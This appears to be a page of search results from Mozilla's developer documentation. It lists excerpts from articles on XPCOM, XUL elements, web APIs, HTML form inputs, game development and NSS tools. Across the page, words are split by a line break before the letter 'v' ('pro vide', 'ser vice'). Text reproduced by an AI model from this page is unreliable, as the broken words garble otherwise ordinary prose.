viousnext » sometimes you need your code to send a message to other parts of your code.
...you could do that by calling all those functions directly, but xpcom offers you a better and cleaner way to achieve that using observers and the observer ser
vice.
... this example code shows you what an implementation of the nsiobserver interface looks like: let testobserver = { observe : function(asubject, atopic, adata) { if (atopic == "xulschoolhello-test-topic") { window.alert("data received: " + adata); } } } in order for this observer to work, you need to use the observer ser
vice that pro
vides methods for you to add, remove, notify and enumerate observers.
...And 17 more matches
Autodial for Windows NT - Archive of obsolete content
starting with windows nt, and in all nt-based versions (windows nt, windows 2000, and windows xp, including xp home) microsoft has changed the beha
vior of autodial.
...microsoft added a windows system ser
vice (remote access auto connection) to handle autodial for all other applications.
... if this ser
vice is running, and control panel | network connections | advanced | dialup preferences is set to enable autodial, then any application trying to access the internet will trigger the autodial feature whenever an internet address cannot be reached.
...And 17 more matches
In-Depth - Archive of obsolete content
button, checkbox-container, checkbox, dialog, dualbutton, dualbutton-dropdown, listbox, menu, menulist-textfield, menulist-button, menulist, menulist-text, progressbar, progresschunk, radio-container, radio, resizer, resizerpanel, separator, scrollbar, statusbar, statusbarpanel, toolbarbutton, toolbox, toolbar, treeheadercell, treeheadersortarrow, tree
view, treeitem, treetwisty, treetwistyopen, tooltip, textfield, tabpanels, tab, tab-left-edge, tab-right-edge, scrollbartrack-horizontal, scrollbartrack-vertical, scrollbarthumb-vertical, scrollbarthumb-horizontal, scrollbarbutton-right, scrollbarbutton-down, scrollbarbutton-left, scrollbarbutton-up, scrollbargripper-vertical, scrollbargripper-horizontal -moz-border-bottom-colors defines a series of...
...this is useful for, say, putting the na
vigation controls (back button) on the right hand side of the toolbar.
... values: normal, reverse -moz-image-region this is useful for di
viding up an image into multiple smaller images.
...And 17 more matches
Modularization techniques - Archive of obsolete content
introduction the purpose of this document is pro
vide all the information you need to create a new mozilla module or break existing code into a module.
... the mechanism we're using is based on the principles laid down by com, so pretty much anything you know about com can be applied here, and any reference on com can pro
vide you with more interesting and complex examples than the ones pro
vided here.
... the basics interfaces the basic building blocks of modules are c++ pure
virtual interfaces.
...And 17 more matches
New Skin Notes - Archive of obsolete content
this is currently just a pre
view, but we would appreciate help with testing.
...--dria is it just me or
visited links are not marked as such?
... --nickolay 07:16, 29 aug 2005 (pdt) imho the
visited color looks horrible.
...And 17 more matches
Tamarin build documentation - Archive of obsolete content
$ make cppflags=-davmplus_verbose additional instructions for non-android cross-platform tamarin-redux build on osx 10.6 (snow leopard) (to build tamarin-central on mac please see pre
vious cross-platform instructions here: https://developer.mozilla.org/index.php?title=en/tamarin/tamarin_build_documentation&re
vision=21 the bug when building on snow leopard (bug 537817) has been fixed in the tamarin-redux repo.
... the work for that fix also included some changes to the configure.py default beha
vior to decouple the --target switch from sdk choice: there is a new switch, --mac-sdk, that selects the 10.4u, 10.5 or 10.6 sdk.
... - change the variable android_de
vice in the makefile (near line 65) to point to your sdk/ndk top folder.
...And 17 more matches
listbox - Archive of obsolete content
additional rows can be
viewed using a scroll bar.
... attributes disabled, disablekeyna
vigation, preference, rows, seltype, suppressonselect, tabindex, value properties accessibletype, currentindex, currentitem, disabled, disablekeyna
vigation, itemcount, listboxobject, selectedcount, selectedindex, selecteditem, selecteditems, seltype, suppressonselect, tabindex, value methods additemtoselection, appenditem, clearselection, ensureelementis
visible, ensureindexis
visible, getindexoffirst
visiblerow, getindexofitem,...
... getitematindex, getnumberof
visiblerows, getrowcount, getselecteditem, insertitemat, invertselection, movebyoffset, removeitemat, removeitemfromselection, scrolltoindex, selectall, selectitem, selectitemrange, timedselect, toggleitemselection examples <listbox id="thelist"> <listitem label="ruby"/> <listitem label="emerald"/> <listitem label="sapphire" selected="true"/> <listitem label="diamond"/> </listbox> <listbox id="thelist" rows="10" width="400"> <listhead> <listheader label="1ct gem" width="240"/> <listheader label="price" width="150"/> </listhead> <listcols> <listcol/> <listcol flex="1"/> </listcols> </listbox> var thelist = document.getelementbyid('thelist'); gems = [ {gem: "ruby", price: "$3,500 - $4,600"}, {gem: "emerald",...
...And 17 more matches
TCP/IP Security - Archive of obsolete content
tcp/ip is widely used throughout the world to pro
vide network communications.
... the payload consists of the information passed down from the pre
vious layer, while the header contains layer-specific information such as addresses.
... this layer pro
vides connection-oriented or connectionless ser
vices for transporting application layer ser
vices between networks.
...And 17 more matches
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
full circle if you were part of the early web's big bang in the mid-1990s you might recall that being able to use javascript both client-side and server-side was core to netscape's original
vision for web apps.
...now more than 10 years later, with netscape's technology group ha
ving been transformed into the mozilla foundation, server-side javascript is seeing a strong resurgence because of the simplicity it pro
vides to web developers rein
vigorated by the fact that today's cpus can process javascript more than 10x faster than the cpus of the mid-90's ever could.
...in recent developments we also see the advent of other performant engines for javascript such as v8 from google and squirrelfish for webkit, these engines are raising the bar on performance and help to maintain a competitive en
vironment that will hopefully direct competitive focus on the performance aspect of all the major javascript implementations.
...And 17 more matches
Windows Media in Netscape - Archive of obsolete content
this article explains how to embed the windows media player activex control in web pages to support netscape 7.1, how to control the windows media player activex control using javascript and pro
vides working examples.
...this control is widely used to pro
vide inline media support for web pages that pro
vide sound,
video and other media.
...netscape 7.1 is the first netscape gecko™ browser to support the windows media player as an activex control -- pre
vious netscape browsers did not support any activex controls, and thus detecting which versions of netscape support the windows media activex control is an important first step towards building multimedia experiences using html, javascript, and the windows media activex control.
...And 17 more matches
Building up a basic demo with the PlayCanvas engine - Game development
built for modern browsers, playcanvas is a fully-featured 3d game engine with resource loading, an entity and component system, advanced graphics manipulation, collision and physics engine (built with ammo.js), audio, and facilities to handle control inputs from various de
vices (including gamepads).
... en
vironment setup to start developing with playcanvas, you don't need much.
... sa
ving a copy of the latest playcanvas engine inside your directory.
...And 17 more matches
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
pre
vious over
view: asynchronous next this tutorial looks at the traditional methods javascript has available for running code asychronously after a set time period has elapsed, or at a regular interval (e.g.
...executes a specified block of code before the browser next repaints the display, allowing an animation to be run at a suitable framerate regardless of the en
vironment it is being run in.
... for example, you could refactor the pre
vious function so that it will say hi to whatever person's name is passed to it: function sayhi(who) { alert(`hello ${who}!`); } now, you can pass the name of the person into the settimeout() call as a third parameter: let mygreeting = settimeout(sayhi, 2000, 'mr.
...And 17 more matches
A first splash into JavaScript - Learn web development
pre
vious over
view: first steps next now you've learned something about the theory of javascript, and what you can do with it, we are going to give you a crash course in the basic features of javascript
via a completely practical tutorial.
...in subsequent articles, you'll re
visit all these features in a lot more detail!
... this requires a mixture of hard work, experience with the programming syntax, and practice — plus a bit of creati
vity.
...And 17 more matches
Deployment and next steps - Learn web development
pre
vious over
view: client-side javascript frameworks in the pre
vious article we learning about svelte's typescript support, and how to use it to make your application more robust.
... objective: learn how to prepare our svelte app for production, and what learning resources you should
visit next.
... the bundle has been generated !production && serve(), // watch the `public` directory and refresh the // browser on changes when not in production !production && livereload('public'), // if we're building for production (npm run build // instead of npm run dev), minify production && terser() ], there are many plugins for rollup that allow you to customize its beha
vior.
...And 17 more matches
Focus management with Vue refs - Learn web development
pre
vious over
view: client-side javascript frameworks next we are nearly done with vue.
...we'll look at using vue refs to handle this — an advanced feature that allows you to have direct access to the underlying dom nodes below the
virtual dom, or direct access from one component to the internal dom structure of a child component.
... the focus management problem while we do have working edit functionality, we aren't pro
viding a great experience for non-mouse users.
...And 17 more matches
Mozilla's Section 508 Compliance
the following is pro
vided for informational purposes only and is not a legally binding voluntary product accessibility template (vpat).
... caveats: 1) although sidebar cannot be customized without a mouse, all sidebar functions that come with the browser are available through other means 2) java and in-page plugins cannot be used with the keyboard, so they must not be installed for keyboard-only users additional features for the keyboard: 1) find as you type allows for quick na
vigation to links and convenient text searching 2) browse with caret (f7 key toggles) allows users to select arbitrary content with the keyboard and move through content as if inside a readonly editor.
... (c) a well-defined on-screen indication of the current focus shall be pro
vided that moves among interactive interface elements as the input focus changes.
...And 17 more matches
Contributing to the Mozilla code base
if you're ha
ving any trouble following this documentation, or hit a barrier you can't get around, please contact mike hoye at mhoye@mozilla.com.
...nt-end) javascript and/or html/css firefox developers documentation devtools javascript and/or html/css contribute to devtools add-ons javascript and/or html/css contribute to add-ons firefox focus for android java contribute to firefox focus for android firefox for fire tv java contribute to firefox for fire tv firefox pre
view (mobile browser, codename: "fenix") kotlin contribute to firefox pre
view firefox for ios swift contribute to firefox for ios firefox focus for ios swift contribute to firefox focus for ios mozilla hubs javascript and/or html/css, vr contribute to mozilla hubs servo rust contribute to servo there are even many ways to contr...
...let the bug submitter, re
viewer, and component owner know that you'd like to work on the bug.
...And 17 more matches
IPDL Tutorial
each incoming message is a pure-
virtual c++ method which must be implemented: class ppluginparent { public: bool sendinit(const nscstring& pluginpath) { // generated code to send an init() message } bool sendshutdown() { // generated code to send a shutdown() message } protected: /** * a subclass of ppluginparent must implement this method to handle the ready() message.
... */ bool recvready() = 0; }; class ppluginchild { protected: bool rec
vinit(const nscstring& pluginpath) = 0; bool recvshutdown() = 0; public: bool sendready() { // generated code to send a ready() message } }; these parent and child abstract classes take care of all the "protocol layer" concerns: serializing data, sending and recei
ving messages, and checking protocol safety.
... public: pluginparent(const nscstring& pluginpath) { // launch child plugin process sendinit(pluginpath); } ~pluginparent() { sendshutdown(); } protected: bool recvready() { mobservers.notify("ready for action"); } }; here's how the ppluginchild might be used by a c++ implementor in the plugin process: class pluginchild : public ppluginchild { protected: void rec
vinit(const nscstring& pluginpath) { mpluginlibrary = pr_loadlibrary(pluginpath.get()); sendready(); } void recvshutdown() { pr_unloadlibrary(mpluginlibrary); } private: prlibrary* mpluginlibrary; }; launching the subprocess and hooking these protocol actors into our ipc "transport layer" is beyond the scope of this document.
...And 17 more matches
Release phase
you've setup up your local and remote en
vironments, you've selected your l10n tools and projects, done some localization and even some testing!
...for more information on the release part of the l10n process,
visit the mozilla wiki here.
...be ad
vised that there's an important distinction between them.
...And 17 more matches
certutil
if you create a new key pair for such a card, the pre
vious pair is overwritten.
... -s create an indi
vidual certificate and add it to a certificate database.
...an internal slots is a
virtual slot maintained in software, rather than a hardware de
vice.
...And 17 more matches
Mozilla Projects
firefox sync firefox sync synchronizes state and configuration data used by the browser, such as bookmarks, history, preferences, bookmarks, and so forth among all your de
vices.
... l20n l20n lets localizers reach higher levels of free linguistic expression by sharpening the di
vide between localization and application logic.
...da
vid baron that helps extension and chrome developers to find memory leaks.
...And 17 more matches
nsISelectionController
inherits from: nsiselectiondisplay last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view void characterextendforbackspace(); native code only!
... void charactermove(in boolean forward, in boolean extend); boolean check
visibility(in nsidomnode node, in short startoffset, in short endoffset); void completemove(in boolean forward, in boolean extend); void completescroll(in boolean forward); boolean getcaretenabled(); short getdisplayselection(); nsiselection getselection(in short type); void intralinemove(in boolean forward, in boolean extend); void linemove(in boolean forward, in boolean extend); void pagemove(in boolean forward, in boolean extend); void repaintselection(in short type); ...
... void scrollhorizontal(in boolean left); void scrollline(in boolean forward); void scrollpage(in boolean forward); void scrollselectioninto
view(in short type, in short region, in short flags); void selectall(); void setcaretenabled(in boolean enabled); void setcaretreadonly(in boolean readonly); void setcaret
visibilityduringselection(in boolean
visibility); void setcaretwidth(in short pixels); obsolete since gecko 1.8 void setdisplayselection(in short toggle); void wordextendfordelete(in boolean forward); native code only!
...And 17 more matches
XPCOM
xpcom itself pro
vides a set of core components and classes, e.g.
...the majority of xpcom components are not part of this core set and are pro
vided by other parts of the platform (e.g.
... accessing the windows registry using xpcomwhen implementing windows-specific functionality, it is often useful to access the windows registry for information about the en
vironment or other installed programs.
...And 17 more matches
Drawing and Event Handling - Plugins
« pre
viousnext » this chapter tells how to determine whether a plug-in instance is windowed or windowless, how to draw and redraw plug-ins, and how to handle plug-in events.
...the content pro
vider who writes the web page determines its display mode: whether the plug-in is embedded, or displayed in its own separate page.
... note: when a plug-in is drawn to a window, the plug-in is responsible for preser
ving state information and ensuring that the original state is restored.
...And 17 more matches
Using files from web applications - Web APIs
you need to use eventtarget.addeventlistener() to add the change event listener, like this: const inputelement = document.getelementbyid("input"); inputelement.addeventlistener("change", handlefiles, false); function handlefiles() { const filelist = this.files; /* now you can work with the file list */ } getting information about selected file(s) the filelist object pro
vided by the dom lists all of the files selected by the user, each specified as a file object.
... you can determine how many files the user selected by checking the value of the file list's length attribute: const numfiles = filelist.length; indi
vidual file objects can be retrieved by simply accessing the list as an array: for (let i = 0, numfiles = filelist.length; i < numfiles; i++) { const file = filelist[i]; // ...
... there are three attributes pro
vided by the file object that contain useful information about the file.
...And 17 more matches
HTMLImageElement.alt - Web APIs
the htmlimageelement property alt pro
vides fallback (alternate) text to display when the image specified by the <img> element is not loaded.
...it will be read aloud or sent to the touch de
vice, for example, to support
visually impaired users.
... syntax htmlimageelement.alt = alttext; let alttext = htmlimageelement.alt; value a domstring which contains the alternate text to display when the image is not loaded or for use by assistive de
vices.
...And 17 more matches
RTCPeerConnection - Web APIs
it pro
vides methods to connect to a remote peer, maintain and monitor the connection, and close the connection once it's no longer needed.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/rtc...
...0" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">rtcpeerconnection</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructorrtcpeerconnection() the rtcpeerconnection() constructor returns a newly-created rtcpeerconnection, which represents a connection between the local de
vice and a remote peer.propertiesalso inherits properties from: eventtargetcantrickleicecandidatesthe read-only rtcpeerconnection property cantrickleicecandidates returns a boolean which indicates whether or not the remote peer can accept trickled ice candidates.connectionstate the read-only connectionstate property of the rtcpeerconnection interface indicates the current state of the peer connecti...
...And 17 more matches
Using the Web Speech API - Web APIs
the web speech api pro
vides two distinct areas of functionality — speech recognition, and speech synthesis (also known as text to speech, or tts) — which open up interesting new possibilities for accessibility, and control mechanisms.
... this article pro
vides a simple introduction to both areas, along with demos.
... speech recognition speech recognition involves recei
ving speech through a de
vice's microphone, which is then checked by a speech recognition ser
vice against a list of grammar (basically, the vocabulary you want to have recognised in a particular app.) when a word or phrase is successfully recognised, it is returned as a result (or list of results) as a text string, and further actions can be initiated as a result.
...And 17 more matches
filter - CSS: Cascading Style Sheets
the value of radius defines the value of the standard de
viation to the gaussian function, or how many pixels on the screen blend into each other, so a larger value will create more blur.
...xample</th> </tr> </thead> <tbody> <tr> <td><img alt="test_form.jpg" id="img1" class="internal default" src="/files/3710/test_form_2.jpg" style="width: 100%;" /></td> <td><img alt="test_form.jpg" id="img2" class="internal default" src="/files/3710/test_form_2.jpg" style="width: 100%;" /></td> <td> <div class="svg-container"> <svg id="img3" overflow="
visible"
viewbox="0 0 212 161" color-interpolation-filters="srgb"> <filter id="svgblur" x="-5%" y="-5%" width="110%" height="110%"> <fegaussianblur in="sourcegraphic" stdde
viation="3.5"/> </filter> <image xlink:href="/files/3710/test_form_2.jpeg" filter="url(#svgblur)" width="212px" height="161px"/> </svg> </div> </td> <...
... font-weight: bold; } table.standard-table td { padding: 5px; border: 1px solid rgb(204, 204, 204); text-align: left; vertical-align: top; width:25%; height:auto; } #img3 { height:100%; } <svg style="position: absolute; top: -99999px" xmlns="http://www.w3.org/2000/svg"> <filter id="svgblur" x="-5%" y="-5%" width="110%" height="110%"> <fegaussianblur in="sourcegraphic" stdde
viation="5"/> </filter> </svg> brightness() the brightness() function applies a linear multiplier to the input image, making it appear more or less bright.
...And 17 more matches
<input type="datetime-local"> - HTML: Hypertext Markup Language
the control's ui varies in general from browser to browser; at the moment support is patchy, with only chrome/opera and edge on desktop and most modern versions of mobile browsers ha
ving usable implementations.
...in other words, an implementation should allow any valid combination of year, month, day, hour, and minute - even if such a combination is invalid in the user's local time zone (such as times within a daylight sa
ving time spring-forward transition gap).
... some browsers may resort to a text-only input element that validates that the results are legitimate date/time values before letting them be delivered to the server, as well, but you shouldn't rely on this beha
vior since you can't easily predict it.
...And 17 more matches
<input type="url"> - HTML: Hypertext Markup Language
the :valid and :invalid css pseudo-classes are automatically applied as appropriate to
visually denote whether the current value of the field is a valid url or not.
...the <datalist> pro
vides a list of predefined values to suggest to the user for this input.
...the values pro
vided are suggestions, not requirements: users can select from this predefined list or pro
vide a different value.
...And 17 more matches
Feature-Policy - HTTP
the http feature-policy header pro
vides a mechanism to allow and deny the use of browser features in its own frame, and in content within any <iframe> elements in the document.
... directives accelerometer controls whether the current document is allowed to gather information about the acceleration of the de
vice through the accelerometer interface.
... ambient-light-sensor controls whether the current document is allowed to gather information about the amount of light in the en
vironment around the de
vice through the ambientlightsensor interface.
...And 17 more matches
A re-introduction to JavaScript (JS tutorial) - JavaScript
it's useful to start with an over
view of the language's history.
...it was originally going to be called livescript, but it was renamed in an ill-fated marketing decision that attempted to capitalize on the popularity of sun microsystem's java language — despite the two ha
ving very little in common.
...it is designed to run as a scripting language in a host en
vironment, and it is up to the host en
vironment to pro
vide mechanisms for communicating with the outside world.
...And 17 more matches
Indexed collections - JavaScript
« pre
viousnext » this chapter introduces collections of data which are ordered by an index value.
...otherwise, an array with a single element (the pro
vided value) will be created.
...the following example illustrates this beha
vior.
...And 17 more matches
WebAssembly - JavaScript
creating new memory and table instances
via the webassembly.memory()/webassembly.table() constructors.
... pro
viding facilities to handle errors that occur in webassembly
via the webassembly.compileerror()/webassembly.linkerror()/webassembly.runtimeerror() constructors.
... webassembly.compile() compiles a webassembly.module from webassembly binary code, lea
ving instantiation as a separate step.
...And 17 more matches
WebAssembly
webassembly is a new type of code that can be run in modern web browsers — it is a low-level assembly-like language with a compact binary format that runs with near-native performance and pro
vides languages such as c/c++, c# and rust with a compilation target so that they can run on the web.
... in a nutshell webassembly has huge implications for the web platform — it pro
vides a way to run code written in multiple languages on the web at near native speed, with client apps running on the web that pre
viously couldn’t have done so.
... and what's even better is that it is being developed as a web standard
via the w3c webassembly working group and community group with active participation from all major browser vendors.
...And 17 more matches
Low-Level APIs - Archive of obsolete content
pri
vileged modules that expose powerful low-level capabilities such as window/utils and net/xhr.
... you can use these modules in your add-on if you need to, but should be aware that the cost of pri
vileged access is the need to take more elaborate security precautions.
... chrome the chrome module gives an add-on sdk add-on access to the components object, which in turn gives it access to a large set of pri
vileged low-level firefox apis.
...And 16 more matches
Document Object Model - Archive of obsolete content
« pre
viousnext » the document object model (dom) can be used with xul elements to get information about them or modify them.
...the dom structure may be examined and modified using various methods pro
vided for this purpose.
... specific xul elements also pro
vide additional functions which may be used.
...And 16 more matches
XPCOM Interfaces - Archive of obsolete content
« pre
viousnext » in this section, we'll take a brief look at xpcom (cross-platform component object model), which is the object system that mozilla uses.
...mozilla pro
vides such a method which involves using xpcom (cross-platform component object model).
... mozilla pro
vides many xpcom components and interfaces.
...And 16 more matches
richlistbox - Archive of obsolete content
attributes disabled, disablekeyna
vigation, preference, seltype, suppressonselect, tabindex, value properties accessibletype, currentindex, currentitem, disabled, disablekeyna
vigation, itemcount, scrollboxobject, selectedcount, selectedindex, selecteditem, selecteditems, seltype, suppressonselect, tabindex, value methods additemtoselection, appenditem, clearselection, ensureelementis
visible, ensureindexis
visible, getindexo...
...ffirst
visiblerow, getindexofitem, getitematindex, getnumberof
visiblerows, getrowcount, getselecteditem, insertitemat, invertselection, movebyoffset, removeitemat, removeitemfromselection, scrolltoindex, selectall, selectitem, selectitemrange, timedselect, toggleitemselection examples <richlistbox> <richlistitem> <description>a xul description!</description> </richlistitem> <richlistitem> <button label="a xul button"/> </richlistitem> </richlistbox> the richlistbox element contains multiple richlistitem elements, which can contain any content.
...
visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state.
...And 16 more matches
Common Firefox theme issues and solutions - Archive of obsolete content
the purpose of this page is to pro
vide pro
vide theme developers with notes on how to fix common issues.
... it is a companion document to the amo editors guide common theme problems, which pro
vides editors with "boilerplate" copy and paste re
view notes for common theme issues.
...please see the following threads on mozillazine for solutions to this issue: http://forums.mozillazine.org/
viewtopic.php?f=18&t=2131121 http://forums.mozillazine.org/
viewtopic.php?f=18&t=1953371&start=60 windows 7 aero not going into full screen mode properly on win7 with aero glass support firefox doesn't always go to full screen mode from a normal window properly.
...And 16 more matches
The Business Benefits of Web Standards - Archive of obsolete content
this article discusses how adhering to web standards, and lea
ving behind proprietary markup and technologies, can contribute to a company's business goals.
...but for accessing multiple pages of a site over many
visits the sa
vings in bandwidth are huge.
...while some browsers have quirks that cause different beha
vior by platform, mozilla-based browsers are designed to behave identically on all supported platforms (mac, linux, unix, windows...) web content is increasingly being accessed by a growing number of user agents other than browsers, or by browsers on different platforms - for example mobile telephones.
...And 16 more matches
Building up a basic demo with A-Frame - Game development
the webxr and webgl apis already enable us to start creating
virtual reality (vr) experiences inside web browsers, but the community is still waiting for tools and libraries to appear, to make this easier.
... mozilla's a-frame framework pro
vides a markup language allowing us to build 3d vr landscapes using a system familiar to web developers, which follows game development coding principles; this is useful for quickly and successfully building prototypes and demos, without ha
ving to write a lot of javascript or glsl.
... high level over
view the current version of a-frame is 0.3.2, which means it's highly experimental, but it already works and you can test it right away in the browser.
...And 16 more matches
Audio for Web games - Game development
web-based audio is maturing fast, but there are still many browser differences to na
vigate.
... we often need to decide which audio parts are essential to our games' experience and which are nice to have but not essential, and de
vise a strategy accordingly.
... this article pro
vides a detailed guide to implementing audio for web games, looking at what works currently across as wide a range of platforms as possible.
...And 16 more matches
Desktop gamepad controls - Game development
pre
vious over
view: control mechanisms next now we'll look at adding something extra — support for gamepad controls,
via the gamepad api.
...the list of supported de
vices is also quite extensive — most popular gamepads (e.g.
...first, we need an event listener to listen for the connection of the new de
vice: window.addeventlistener("gamepadconnected", gamepadhandler); it's executed once, so we can create some variables we will need later on for storing the controller info and the pressed buttons: var controller = {}; var buttonspressed = []; function gamepadhandler(e) { controller = e.gamepad; output.innerhtml = "gamepad: " + controller.id; } the second line in the gamepadhandler function shows up on the screen when the de
vice is connected: we can also show the id of the de
vice — in the cas...
...And 16 more matches
How can we design for all types of users? - Learn web development
this article pro
vides basic tips to help you design websites for any kind of user.
...make it extra easy to read the text, to help
visually-impaired people and people using their phones on the street.
... for instance, let's test the colors on this page and see how we fare in the colour contrast analyser: the luminosity contrast ratio between text and background is 8.30:1, which exceeds the minimum standard (4.5:1) and should enable many
visually-impaired people to read this page.
...And 16 more matches
Client-side form validation - Learn web development
pre
vious over
view: forms next before submitting data to the server, it is important to ensure all required form controls are filled out, in the correct format.
... go to any popular site with a registration form, and you will notice that they pro
vide feedback when you don't enter your data in the format they are expecting.
... if the user tries to send the data, the browser will submit the form, pro
vided there is nothing else stopping it from doing so (e.g., javascript).
...And 16 more matches
Other form controls - Learn web development
pre
vious over
view: forms next we now look at the functionality of non-<input> form elements in detail, from other control types such as drop-down lists and multi-line text fields, to other useful form features such as the <output> element (which we saw in action in the pre
vious article), and progress bars.
...(using contenteditable on non-form controls pro
vides an api for capturing html/"rich" content instead of plain text).
...
visually, the text entered wraps and the form control is by default resizable.
...And 16 more matches
HTML text fundamentals - Learn web development
pre
vious over
view: introduction to html next one of html's main jobs is to give text structure and meaning (also known as semantics) so that a browser can display it correctly.
...documents with many levels (i.e., a deep heading hierarchy) become unwieldy and difficult to na
vigate.
... on such occasions, it is ad
visable to spread the content over multiple pages if possible.
...And 16 more matches
HTML table advanced features and accessibility - Learn web development
pre
vious over
view: tables next in the second article in this module, we look at some more advanced features of html tables — such as captions/summaries and grouping your rows into table head, body and footer sections — as well as looking at the accessibility of tables for
visually impaired users.
... note: the summary attribute can also be used on the <table> element to pro
vide a description — this is also read out by screenreaders.
... we'd recommend using the <caption> element instead, however, as summary is deprecated by the html5 spec, and can't be read by sighted users (it doesn't appear on the page.) active learning: adding a caption let's try this out, re
visiting an example we first met in the pre
vious article.
...And 16 more matches
Multimedia: Images - Learn web development
pre
vious over
view: performance next media, namely images and
video, account for over 70% of the bytes downloaded for the average website.
...this article looks at optimizing image and
video to improve web performance.
... for the average website, 51% of its bandwidth comes from imagery, followed by
video at 25%, so it's safe to say it's important to address and optimize your multi-media content.
...And 16 more matches
Website security - Learn web development
pre
vious over
view: first steps website security requires
vigilance in all aspects of website design and usage.
...with great regularity, we hear about websites becoming unavailable due to denial of ser
vice attacks, or displaying modified (and often damaging) information on their homepages.
...finally, there are publically available vulnerability scanner tools that can help you find out if you've made any ob
vious mistakes.
...And 16 more matches
Routing in Ember - Learn web development
pre
vious over
view: client-side javascript frameworks next in this article we learn about routing, or url-based filtering as it is sometimes referred to.
... we'll use it to pro
vide a unique url for each of the three todo
views — "all", "active", and "completed".
...typically, when writing web applications, you want the page to be represented by the url so that if (for any reason), the page needs to refresh, the user isn't surprised by the state of the web app — they can link directly to significant
views of the app.
...And 16 more matches
Package management basics - Learn web development
pre
vious over
view: understanding client-side tools next in this article we'll look at package managers in some detail to understand how we can use them in our own projects — to install project tool dependencies, keep them up-to-date, and more.
... a project dependency can be an entire javascript library or framework — such as react or vue — or a very small utility like our human-readable date library, or it can be a command line tool such as prettier or eslint, which we talked about in pre
vious articles.
...a bundle is the term that’s generally used to refer to a single file on your web server that contains all the javascript for your software — typically compressed as much as possible to help reduce the time it takes to get your software downloaded and displayed in your
visitors’ browser.
...And 16 more matches
mach
mach (german for to make) is a program
via the "command-line interface" to help developers perform installation tasks such as installing firefox from its c++ source code.
... if it works, you can look at compiler warnings: $ ./mach warnings-list try running the program: $ ./mach run try running your program in a debugger: $ ./mach run --debug try running some tests: $ ./mach xpcshell-test ser
vices/common/tests/unit/ or run an indi
vidual test: $ ./mach mochitest browser/base/content/test/general/browser_pinnedtabs.js you run mach from the source directory, so you should be able to use your shell's tab completion to tab-complete paths to tests.
... if the mozconfig en
vironment variable is set, use the file pointed to in that variable.
...And 16 more matches
JavaScript code modules
javascript code modules let multiple pri
vileged javascript scopes share code.
... addonrepository.jsm pro
vides a search of add-ons in the repository.
... assert.jsm implements the commonjs unit testing specification version 1.1, which pro
vides a basic standardized interface for performing in-code logical assertions with optional, customizable error reporting.
...And 16 more matches
Phishing: a short definition
this email will usually contain a link pretending to lead to the original ser
vice, but in reality, taking the
victim to an attacker-controlled website.
... the login portal might resemble the trusted website's login page very closely, and con
vince users to enter their credentials, letting others hijack their account.
...none of these are sufficient by themselves, so we see a mix of these deployed by various ser
vices.
...And 16 more matches
Introduction to NSPR
the netscape portable runtime (nspr) api allows compliant applications to use system facilities such as threads, thread synchronization, i/o, interval timing, atomic operations, and several other low-level ser
vices in a platform-independent manner.
... nspr does not pro
vide a platform for porting existing code.
...and are followed by intercap-style declarations, like this: print, prfiledesc function definitions begin with pr_ and are followed by intercap-style declarations, like this: pr_read, pr_jointhread preprocessor macros begin with the letters pr and are followed by all uppercase characters separated with the underscore character (_), like this: pr_bytes_per_short, pr_extern nspr threads nspr pro
vides an execution en
vironment that promotes the use of lightweight threads.
...And 16 more matches
PKCS11 Implement
if you don't implement a function, you should still pro
vide a stub that returns ckr_function_not_supported.
...the version numbers, manufacturer ids, and so on are displayed when the user
views the information.
... c_getslotinfo the nss calls c_getslotinfo on startup or when it loads a new module and reads in the information that can be
viewed on the slot information page.
...And 16 more matches
NSS Tools modutil
you can use the tool to add and delete pkcs #11 modules, change passwords, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default pro
viders for cryptographic operations.
...see the section jar installation file for information on creating the special script needed to perform an installation through a server or with the security module database tool (that is, in en
vironments without javascript support).
... for general installation instructions and to install a module in en
vironments where javascript support is available (as in netscape communicator), see the document using the jar installation manager to install a pkcs #11 cryptographic module.
...And 16 more matches
The Places database
this document pro
vides a high-level over
view of the overall database design of the places system.
... the places schema looks like so: core url table moz_places: this is the main table of uris and is managed by the history ser
vice (see also history ser
vice design).
... any time a places component wants to reference a url, whether
visited or not, it refers to this table.
...And 16 more matches
nsISHEntry
to create an instance, use: var shentry = components.classes["@mozilla.org/browser/session-history-entry;1"] .createinstance(components.interfaces.nsishentry); method over
view void addchildshell(in nsidocshelltreeitem shell); nsidocshelltreeitem childshellat(in long index); void clearchildshells(); nsishentry clone(); void create(in nsiuri uri, in astring title, in nsiinputstream inputstream, in nsilayouthistorystate layouthistorystate, in nsisupports cachekey, in acstring contenttype, in nsisupports owner, in unsigned long long docshellid, in boolean d...
... nsdocshelleditordataptr forgeteditordata();
violates the xpcom interface guidelines nsicontent
viewer getanycontent
viewer(out nsishentry ownerentry); void getscrollposition(out long x, out long y); void get
viewerbounds(in nsintrect bounds); native code only!
... boolean hasdetachededitor();
violates the xpcom interface guidelines boolean hasdynamicallyaddedchild(); boolean isdynamicallyadded(); void seteditordata(in nsdocshelleditordataptr adata);
violates the xpcom interface guidelines void setissubframe(in boolean aflag); void setscrollposition(in long x, in long y); void settitle(in astring atitle); void setuniquedocidentifier(); void seturi(in nsiuri auri); void set
viewerbounds(in nsintrect bounds); native code only!
...And 16 more matches
XPCOM Interface Reference by grouping
(i'm fully aware that this will be a great point of discussion and probably will end in tears, but since i'm the first person to apparently take a swing at this, i get first dibs.) the primary sections consist of: browser this section contains elements associated with the
view pane or the content of the "browser window" proper.
